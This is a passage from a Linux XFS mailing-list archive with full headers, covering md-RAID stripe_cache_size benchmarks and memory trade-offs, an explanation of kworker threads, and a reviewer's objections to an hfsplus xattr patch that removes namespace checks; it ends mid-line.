cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 20 Dec 2013 14:43:49 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: xfs@oss.sgi.com, xfs@pzystorm.de Subject: Re: XFS blocked task in xlog_cil_force_lsn Date: Fri, 20 Dec 2013 23:43:47 +0100 X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn User-Agent: KMail/1.13.7 (Linux/3.12.5-dirty; KDE/4.12.0; x86_64; ; ) Cc: stan@hardwarefreak.com, linux-raid@vger.kernel.org References: <52B102FF.8040404@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> In-Reply-To: <52B41B67.9030308@pzystorm.de> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201312202343.47895.arekm@maven.pl> X-Barracuda-Connect: mail-ee0-f44.google.com[74.125.83.44] X-Barracuda-Start-Time: 1387579432 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Friday 20 of December 2013, Kevin Richter wrote: > >> $ cat /sys/block/md2/md/stripe_cache_size > >> 256 > >=20 > > 256 is the default and it is way too low. This is limiting your write > > througput. Increase this to a minimum of 1024 which will give you a > > 20MB stripe cache buffer. This should become active immediately. Add > > it to a startup script to make it permanent. > > $ echo 256 > /sys/block/md2/md/stripe_cache_size > > $ time cp -a /olddisk/testfolder /6tb/foo1/ > > real 25m38.925s > > user 0m0.595s > > sys 1m23.182s > >=20 > > $ echo 1024 > /sys/block/md2/md/stripe_cache_size > > $ time cp -a /olddisk/testfolder /raid/foo2/ > > real 7m32.824s > > user 0m0.438s > > sys 1m6.759s > >=20 > > $ echo 2048 > /sys/block/md2/md/stripe_cache_size > > $ time cp -a /olddisk/testfolder /raid/foo3/ > > real 5m32.847s > > user 0m0.418s > > sys 1m5.671s > >=20 > > $ echo 4096 > /sys/block/md2/md/stripe_cache_size > > $ time cp -a /olddisk/testfolder /raid/foo4/ > > real 5m54.554s > > user 0m0.437s > > sys 1m6.268s >=20 > The difference is really amazing! So 2048 seems to be the best choice. > 60GB in 5,5minutes are 180MB/sek. That sounds a bit high, doesnt it? > The RAID only consist of 5 SATA disks with 7200rpm. I wonder why kernel is giving defaults that everyone repeatly recommends to= =20 change/increase? Has anyone tried to bugreport that for stripe_cache_size=20 case? =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From david@fromorbit.com Fri Dec 20 23:30:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9AE9729DF8 for ; Fri, 20 Dec 2013 23:30:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 34627AC001 for ; Fri, 20 Dec 2013 21:30:43 -0800 (PST) X-ASG-Debug-ID: 1387603840-04bdf00fdf166ee0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id CC3vGbQWNbUQCXMf for ; Fri, 20 Dec 2013 21:30:41 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmQJABUntVJ5LHyk/2dsb2JhbABSBoMLtHeFUYERF3SCJQEBAQQ6HCMQCAMYCSUPBSUDIROIA8sNFxaOTEMHgyOBEwSYFopMh0mDQSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 21 Dec 2013 16:00:36 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VuF8y-0000r7-UE; Sat, 21 Dec 2013 16:30:32 +1100 Date: Sat, 21 Dec 2013 16:30:32 +1100 From: Dave Chinner To: Stan Hoeppner Cc: xfs@pzystorm.de, xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn Message-ID: <20131221053032.GA3220@dastard> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <52B439D1.3020205@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B439D1.3020205@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1387603840 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143270 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 20, 2013 at 06:36:33AM -0600, Stan Hoeppner wrote: > On 12/20/2013 4:26 AM, Kevin Richter wrote: > > 'top' while copying with stripe size of 2048 (the source disk is ntfs): > >> top - 10:48:24 up 1 day, 1:41, 2 users, load average: 5.66, 3.53, 2.17 > >> Tasks: 210 total, 2 running, 208 sleeping, 0 stopped, 0 zombie > >> Cpu(s): 0.1%us, 35.8%sy, 0.0%ni, 46.0%id, 17.9%wa, 0.0%hi, 0.2%si, 0.0%st > >> Mem: 32913992k total, 32709208k used, 204784k free, 10770344k buffers > >> Swap: 7812496k total, 0k used, 7812496k free, 20866844k cached > >> > >> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND > >> 19524 root 20 0 0 0 0 R 93 0.0 4:00.12 kworker/3:1 > >> 23744 root 20 0 0 0 0 S 55 0.0 0:50.84 kworker/0:1 > >> 23738 root 20 0 0 0 0 S 29 0.0 0:56.94 kworker/4:0 > >> 3893 root 20 0 0 0 0 S 28 0.0 36:47.50 md2_raid6 > >> 4551 root 20 0 22060 3328 720 D 25 0.0 20:21.61 mount.ntfs > >> 23273 root 20 0 0 0 0 S 22 0.0 1:54.86 kworker/7:2 > >> 23734 root 20 0 21752 1280 1040 D 21 0.0 0:49.84 cp > >> 84 root 20 0 0 0 0 S 7 0.0 8:19.34 kswapd1 > >> 83 root 20 0 0 0 0 S 6 0.0 11:55.81 kswapd0 > >> 23745 root 20 0 0 0 0 S 2 0.0 0:33.60 kworker/1:2 > >> 21598 root 20 0 0 0 0 D 1 0.0 0:11.33 kworker/u17:1 > > Hmm, what's kworker/3:1? That's not a crypto thread eating 93% of a > SandyBridge core at only ~180 MB/s throughput is it? Kworkers are an anonymous kernel worker threads that do work that has been pushed to a workqueue. kworker/3:1 is the 2nd worker thread on CPU 3 (3:0 is the first). The kworker is a thread pool that grows and shrinks according to demand. As the naming suggests, kworker threads are per-CPU, and there can be hundreds of them per CPU is there is enough workqueue work blocks during execution of the work (e.g. on locks, waiting for IO, etc). If there is little blocking occurring, there might on ly be a couple of kworker threads that do all the work, and hence you see them consuming huge amounts of CPU on behalf of other systems... XFS uses workqueues for lots of things, so it's not unusual to see an IO or metadata heavy workload end up with this huge numbers of kworker threads doing work: .... $ ps -ef |grep kworker |wc -l 91 $ Cheers, Dave. -- Dave Chinner david@fromorbit.com From stan@hardwarefreak.com Sat Dec 21 05:18:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C625F7F3F for ; Sat, 21 Dec 2013 05:18:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6D2B3AC00C for ; Sat, 21 Dec 2013 03:18:51 -0800 (PST) X-ASG-Debug-ID: 1387624727-04bdf00fdf16f720001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id oak5PMOgzRWVnqrR for ; Sat, 21 Dec 2013 03:18:47 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id DC9196C0AD; Sat, 21 Dec 2013 05:18:46 -0600 (CST) Message-ID: <52B57912.5080000@hardwarefreak.com> Date: Sat, 21 Dec 2013 05:18:42 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= CC: linux-raid@vger.kernel.org, "xfs@oss.sgi.com" Subject: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint References: <52B102FF.8040404@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <201312202343.47895.arekm@maven.pl> X-ASG-Orig-Subj: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint In-Reply-To: <201312202343.47895.arekm@maven.pl> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1387624727 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com I renamed the subject as your question doesn't really apply to XFS, or the OP, but to md-RAID. On 12/20/2013 4:43 PM, Arkadiusz Miśkiewicz wrote: > I wonder why kernel is giving defaults that everyone repeatly recommends to > change/increase? Has anyone tried to bugreport that for stripe_cache_size > case? The answer is balancing default md-RAID5/6 write performance against kernel RAM consumption, with more weight given to the latter. The formula: ((4096*stripe_cache_size)*num_drives)= RAM consumed for stripe cache High stripe_cache_size values will cause the kernel to eat non trivial amounts of RAM for the stripe cache buffer. This table demonstrates the effect today for typical RAID5/6 disk counts. stripe_cache_size drives RAM consumed 256 4 4 MB 8 8 MB 16 16 MB 512 4 8 MB 8 16 MB 16 32 MB 1024 4 16 MB 8 32 MB 16 64 MB 2048 4 32 MB 8 64 MB 16 128 MB 4096 4 64 MB 8 128 MB 16 256 MB The powers that be, Linus in particular, are not fond of default settings that create a lot of kernel memory structures. The default md-RAID5/6 stripe_cache-size yields 1MB consumed per member device. With SSDs becoming mainstream, and becoming ever faster, at some point the md-RAID5/6 architecture will have to be redesigned because of the memory footprint required for performance. Currently the required size of the stripe cache appears directly proportional to the aggregate write throughput of the RAID devices. Thus the optimal value will vary greatly from one system to another depending on the throughput of the drives. For example, I assisted a user with 5x Intel SSDs back in January and his system required 4096, or 80MB of RAM for stripe cache, to reach maximum write throughput of the devices. This yielded 600MB/s or 60% greater throughput than 2048, or 40MB RAM for cache. In his case 60MB more RAM than the default was well worth the increase as the machine was an iSCSI target server with 8GB RAM. In the previous case with 5x rust RAID6 the 2048 value seemed optimal (though not yet verified), requiring 40MB less RAM than the 5x Intel SSDs. For a 3 modern rust RAID5 the default of 256, or 3MB, is close to optimal but maybe a little low. Consider that 256 has been the default for a very long time, and was selected back when average drive throughput was much much lower, as in 50MB/s or less, SSDs hadn't yet been invented, and system memories were much smaller. Due to the massive difference in throughput between rust and SSD, any meaningful change in the default really requires new code to sniff out what type of devices constitute the array, if that's possible, and it probably isn't, and set a lowish default accordingly. Again, SSDs didn't exist when md-RAID was coded, nor when this default was set, and this throws a big monkey wrench into these spokes. -- Stan From piergiorgio.sartor@nexgo.de Sat Dec 21 06:20:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5E70D7F3F for ; Sat, 21 Dec 2013 06:20:26 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BF7ECAC001 for ; Sat, 21 Dec 2013 04:20:25 -0800 (PST) X-ASG-Debug-ID: 1387628422-04cb6c537d88f130001-NocioJ Received: from mail-in-03.arcor-online.net (mail-in-03.arcor-online.net [151.189.21.43]) by cuda.sgi.com with ESMTP id tSof5yoLLd4CCWEG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 21 Dec 2013 04:20:23 -0800 (PST) X-Barracuda-Envelope-From: piergiorgio.sartor@nexgo.de X-Barracuda-Apparent-Source-IP: 151.189.21.43 Received: from mail-in-11-z2.arcor-online.net (mail-in-11-z2.arcor-online.net [151.189.8.28]) by mx.arcor.de (Postfix) with ESMTP id 5BEB0D8C82; Sat, 21 Dec 2013 13:20:22 +0100 (CET) Received: from mail-in-02.arcor-online.net (mail-in-02.arcor-online.net [151.189.21.42]) by mail-in-11-z2.arcor-online.net (Postfix) with ESMTP id 4BDC17FEAE4; Sat, 21 Dec 2013 13:20:22 +0100 (CET) X-Greylist: Passed host: 87.184.107.197 X-DKIM: Sendmail DKIM Filter v2.8.2 mail-in-02.arcor-online.net B34EC31284 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=nexgo.de; s=mail-in; t=1387628422; bh=lpJpjjPI8yRd9NBp2SQpVche2BGZHmGaZrisHOJaevQ=; h=Date:From:To:Cc:Subject:Message-ID:References:MIME-Version: Content-Type:Content-Transfer-Encoding:In-Reply-To; b=rkwbqN6IsFO4hydbjiu37Fup3M50qLlIh7CkXPguI1x2ALPOdJLJQVmaeN16XiLBx 3L4j1aWly2A6VJfm9tG5tiZAspqLp69D+geX32s6anIAEO4kH2fDl3BgMv4nnckpq1 mCj60AUzlt/j5VxQD/h2k0CGzslIaBkoeHgRSIR8= X-Greylist: Passed host: 87.184.107.197 X-Greylist: Passed host: 87.184.107.197 X-Greylist: Passed host: 87.184.107.197 Received: from lazy.lzy (p57B86BC5.dip0.t-ipconnect.de [87.184.107.197]) (Authenticated sender: piergiorgio.sartor@arcor.de) by mail-in-02.arcor-online.net (Postfix) with ESMTPSA id B34EC31284; Sat, 21 Dec 2013 13:20:19 +0100 (CET) Received: from lazy.lzy (localhost [127.0.0.1]) by lazy.lzy (8.14.7/8.14.5) with ESMTP id rBLCKFk7003938 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Sat, 21 Dec 2013 13:20:18 +0100 Received: (from red@localhost) by lazy.lzy (8.14.7/8.14.6/Submit) id rBLCKEcV003936; Sat, 21 Dec 2013 13:20:14 +0100 Date: Sat, 21 Dec 2013 13:20:14 +0100 From: Piergiorgio Sartor To: Stan Hoeppner Cc: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= , linux-raid@vger.kernel.org, "xfs@oss.sgi.com" Subject: Re: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint Message-ID: <20131221122014.GA3909@lazy.lzy> X-ASG-Orig-Subj: Re: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint References: <52B102FF.8040404@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <201312202343.47895.arekm@maven.pl> <52B57912.5080000@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <52B57912.5080000@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-in-03.arcor-online.net[151.189.21.43] X-Barracuda-Start-Time: 1387628423 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143277 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 BSF_SC5_SA210e Custom Rule SA210e On Sat, Dec 21, 2013 at 05:18:42AM -0600, Stan Hoeppner wrote: > I renamed the subject as your question doesn't really apply to XFS, or > the OP, but to md-RAID. > > On 12/20/2013 4:43 PM, Arkadiusz Miśkiewicz wrote: > > > I wonder why kernel is giving defaults that everyone repeatly recommends to > > change/increase? Has anyone tried to bugreport that for stripe_cache_size > > case? > > The answer is balancing default md-RAID5/6 write performance against > kernel RAM consumption, with more weight given to the latter. The formula: > > ((4096*stripe_cache_size)*num_drives)= RAM consumed for stripe cache > > High stripe_cache_size values will cause the kernel to eat non trivial > amounts of RAM for the stripe cache buffer. This table demonstrates the > effect today for typical RAID5/6 disk counts. > > stripe_cache_size drives RAM consumed > 256 4 4 MB > 8 8 MB > 16 16 MB > 512 4 8 MB > 8 16 MB > 16 32 MB > 1024 4 16 MB > 8 32 MB > 16 64 MB > 2048 4 32 MB > 8 64 MB > 16 128 MB > 4096 4 64 MB > 8 128 MB > 16 256 MB > > The powers that be, Linus in particular, are not fond of default > settings that create a lot of kernel memory structures. The default > md-RAID5/6 stripe_cache-size yields 1MB consumed per member device. > > With SSDs becoming mainstream, and becoming ever faster, at some point > the md-RAID5/6 architecture will have to be redesigned because of the > memory footprint required for performance. Currently the required size > of the stripe cache appears directly proportional to the aggregate write > throughput of the RAID devices. Thus the optimal value will vary > greatly from one system to another depending on the throughput of the > drives. > > For example, I assisted a user with 5x Intel SSDs back in January and > his system required 4096, or 80MB of RAM for stripe cache, to reach > maximum write throughput of the devices. This yielded 600MB/s or 60% > greater throughput than 2048, or 40MB RAM for cache. In his case 60MB > more RAM than the default was well worth the increase as the machine was > an iSCSI target server with 8GB RAM. > > In the previous case with 5x rust RAID6 the 2048 value seemed optimal > (though not yet verified), requiring 40MB less RAM than the 5x Intel > SSDs. For a 3 modern rust RAID5 the default of 256, or 3MB, is close to > optimal but maybe a little low. Consider that 256 has been the default > for a very long time, and was selected back when average drive > throughput was much much lower, as in 50MB/s or less, SSDs hadn't yet > been invented, and system memories were much smaller. > > Due to the massive difference in throughput between rust and SSD, any > meaningful change in the default really requires new code to sniff out > what type of devices constitute the array, if that's possible, and it > probably isn't, and set a lowish default accordingly. Again, SSDs > didn't exist when md-RAID was coded, nor when this default was set, and > this throws a big monkey wrench into these spokes. Hi Stan, nice analytical report, as usual... My dumb suggestion would be to simply use udev to setup the drives. Everything, stripe_cache, read_ahead, stcerr, etc. can be configured, I suppose, by udev rules. bye, -- piergiorgio From slava@dubeyko.com Sat Dec 21 10:05:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 18CFC7F3F for ; Sat, 21 Dec 2013 10:05:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A14C5AC009 for ; Sat, 21 Dec 2013 08:05:21 -0800 (PST) X-ASG-Debug-ID: 1387641919-04bdf00fe0176140001-NocioJ Received: from alt-proxy6.mail.unifiedlayer.com (alt-proxy6.mail.unifiedlayer.com [66.147.245.65]) by cuda.sgi.com with SMTP id 2gQB2eugAb6hK7Zl for ; Sat, 21 Dec 2013 08:05:20 -0800 (PST) X-Barracuda-Envelope-From: slava@dubeyko.com X-Barracuda-Apparent-Source-IP: 66.147.245.65 Received: (qmail 15727 invoked by uid 0); 21 Dec 2013 16:05:19 -0000 Received: from unknown (HELO host202.hostmonster.com) (74.220.215.202) by oproxy14.mail.unifiedlayer.com with SMTP; 21 Dec 2013 16:05:18 -0000 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=dubeyko.com; s=default; h=To:References:Message-Id:Content-Transfer-Encoding:Cc:Date:In-Reply-To:From:Content-Type:Mime-Version:Subject; bh=BpS+qQY/ZFtT53NUiHolfSmr7JlDi8bknd3areNrXjo=; b=MN4zqxyeniOHj3MkSayZZXuIM7eTjge1UEoFjGN/dm/TAOT2q/HXTAmxcxgk8g3GHorihnqM5N8f5UgdVRKIRDutjEJuW8gjDqQNuWMI8P8aecT4q3Ad/0ZhtohnNqhz; Received: from [46.39.244.28] (port=56559 helo=[192.168.24.100]) by host202.hostmonster.com with esmtpa (Exim 4.80) (envelope-from ) id 1VuP3G-0005KK-1i; Sat, 21 Dec 2013 09:05:18 -0700 Subject: Re: [PATCH 21/21] hfsplus: remove can_set_xattr Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: [PATCH 21/21] hfsplus: remove can_set_xattr Content-Type: text/plain; charset=us-ascii From: Vyacheslav Dubeyko In-Reply-To: <20131220132524.900291394@bombadil.infradead.org> Date: Sat, 21 Dec 2013 20:07:51 +0300 Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Content-Transfer-Encoding: quoted-printable Message-Id: <636E01BC-12FD-452B-8B1C-320B6EADAEFD@dubeyko.com> References: <20131220131635.650823732@bombadil.infradead.org> <20131220132524.900291394@bombadil.infradead.org> To: Christoph Hellwig X-Mailer: Apple Mail (2.1085) X-Identified-User: {2172:host202.hostmonster.com:dubeykoc:dubeyko.com} {sentby:smtp auth 46.39.244.28 authed with slava@dubeyko.com} X-Barracuda-Connect: alt-proxy6.mail.unifiedlayer.com[66.147.245.65] X-Barracuda-Start-Time: 1387641920 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143280 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Dec 20, 2013, at 4:16 PM, Christoph Hellwig wrote: > When using the per-superblock xattr handlers permission checking is > done by the generic code. hfsplus just needs to check for the magic > osx attribute not to leak into protected namespaces. >=20 > Also given that the code was obviously copied from JFS the proper > attribution was missing. >=20 I don't think that this code changing is correct. Current modification breaks logic. Please, see my comments below. > Signed-off-by: Christoph Hellwig > --- > fs/hfsplus/xattr.c | 87 = ++-------------------------------------------------- > 1 file changed, 3 insertions(+), 84 deletions(-) >=20 > diff --git a/fs/hfsplus/xattr.c b/fs/hfsplus/xattr.c > index bf88baa..0b4a5c9 100644 > --- a/fs/hfsplus/xattr.c > +++ b/fs/hfsplus/xattr.c > @@ -52,82 +52,6 @@ static inline int is_known_namespace(const char = *name) > return true; > } >=20 > -static int can_set_system_xattr(struct inode *inode, const char = *name, > - const void *value, size_t size) I agree that it makes sense to remove this code if permission checking is done by generic code. > -{ > -#ifdef CONFIG_HFSPLUS_FS_POSIX_ACL > - struct posix_acl *acl; > - int err; > - > - if (!inode_owner_or_capable(inode)) > - return -EPERM; > - > - /* > - * POSIX_ACL_XATTR_ACCESS is tied to i_mode > - */ > - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) =3D=3D 0) { > - acl =3D posix_acl_from_xattr(&init_user_ns, value, = size); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (acl) { > - err =3D posix_acl_equiv_mode(acl, = &inode->i_mode); > - posix_acl_release(acl); > - if (err < 0) > - return err; > - mark_inode_dirty(inode); > - } > - /* > - * We're changing the ACL. Get rid of the cached one > - */ > - forget_cached_acl(inode, ACL_TYPE_ACCESS); > - > - return 0; > - } else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) =3D=3D 0) { > - acl =3D posix_acl_from_xattr(&init_user_ns, value, = size); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - posix_acl_release(acl); > - > - /* > - * We're changing the default ACL. Get rid of the = cached one > - */ > - forget_cached_acl(inode, ACL_TYPE_DEFAULT); > - > - return 0; > - } > -#endif /* CONFIG_HFSPLUS_FS_POSIX_ACL */ > - return -EOPNOTSUPP; > -} > - > -static int can_set_xattr(struct inode *inode, const char *name, > - const void *value, size_t value_len) This function works for all handlers. So, I don't think that it makes = sense to delete it. > -{ > - if (!strncmp(name, XATTR_SYSTEM_PREFIX, = XATTR_SYSTEM_PREFIX_LEN)) > - return can_set_system_xattr(inode, name, value, = value_len); > - I agree that it needs to remove this check for XATTR_SYSTEM_PREFIX case. > - if (!strncmp(name, XATTR_MAC_OSX_PREFIX, = XATTR_MAC_OSX_PREFIX_LEN)) { > - /* > - * This makes sure that we aren't trying to set an > - * attribute in a different namespace by prefixing it > - * with "osx." > - */ > - if (is_known_namespace(name + XATTR_MAC_OSX_PREFIX_LEN)) > - return -EOPNOTSUPP; I think that this check is important. It forbids such combinations as = "osx.system.*" or "osx.trusted.*", for example. Because "osx.*" is virtual namespace for = xattrs that it can be under Mac OS X. If you want to set xattr from "system.*" = namespace, for example, then you need to use another handler. And such namespace should be = without addition of "osx." prefix. > - > - return 0; > - } > - > - /* > - * Don't allow setting an attribute in an unknown namespace. > - */ > - if (strncmp(name, XATTR_TRUSTED_PREFIX, = XATTR_TRUSTED_PREFIX_LEN) && > - strncmp(name, XATTR_SECURITY_PREFIX, = XATTR_SECURITY_PREFIX_LEN) && > - strncmp(name, XATTR_USER_PREFIX, XATTR_USER_PREFIX_LEN)) > - return -EOPNOTSUPP; > - > - return 0; > -} > - > static void hfsplus_init_header_node(struct inode *attr_file, > u32 clump_size, > char *buf, u16 node_size) > @@ -350,10 +274,6 @@ int __hfsplus_setxattr(struct inode *inode, const = char *name, > HFSPLUS_IS_RSRC(inode)) > return -EOPNOTSUPP; >=20 > - err =3D can_set_xattr(inode, name, value, size); The __hfsplus_setxattr() is common method for all handlers. So, removing this call means that we don't check validity of namespace. I don't think that such modification is a right way. > - if (err) > - return err; > - > if (strncmp(name, XATTR_MAC_OSX_PREFIX, > XATTR_MAC_OSX_PREFIX_LEN) =3D=3D 0) > name +=3D XATTR_MAC_OSX_PREFIX_LEN; > @@ -841,10 +761,6 @@ int hfsplus_removexattr(struct dentry *dentry, = const char *name) > if (!HFSPLUS_SB(inode->i_sb)->attr_tree) > return -EOPNOTSUPP; >=20 > - err =3D can_set_xattr(inode, name, NULL, 0); Ditto. Moreover, it is used namely hfsplus_removexattr() and not __hfsplus_setxattr() for removing xattrs in hfsplus driver. So, removing this check is not good way. > - if (err) > - return err; > - > if (strncmp(name, XATTR_MAC_OSX_PREFIX, > XATTR_MAC_OSX_PREFIX_LEN) =3D=3D 0) > name +=3D XATTR_MAC_OSX_PREFIX_LEN; > @@ -941,6 +857,9 @@ static int hfsplus_osx_setxattr(struct dentry = *dentry, const char *name, > if (len > HFSPLUS_ATTR_MAX_STRLEN) > return -EOPNOTSUPP; >=20 > + if 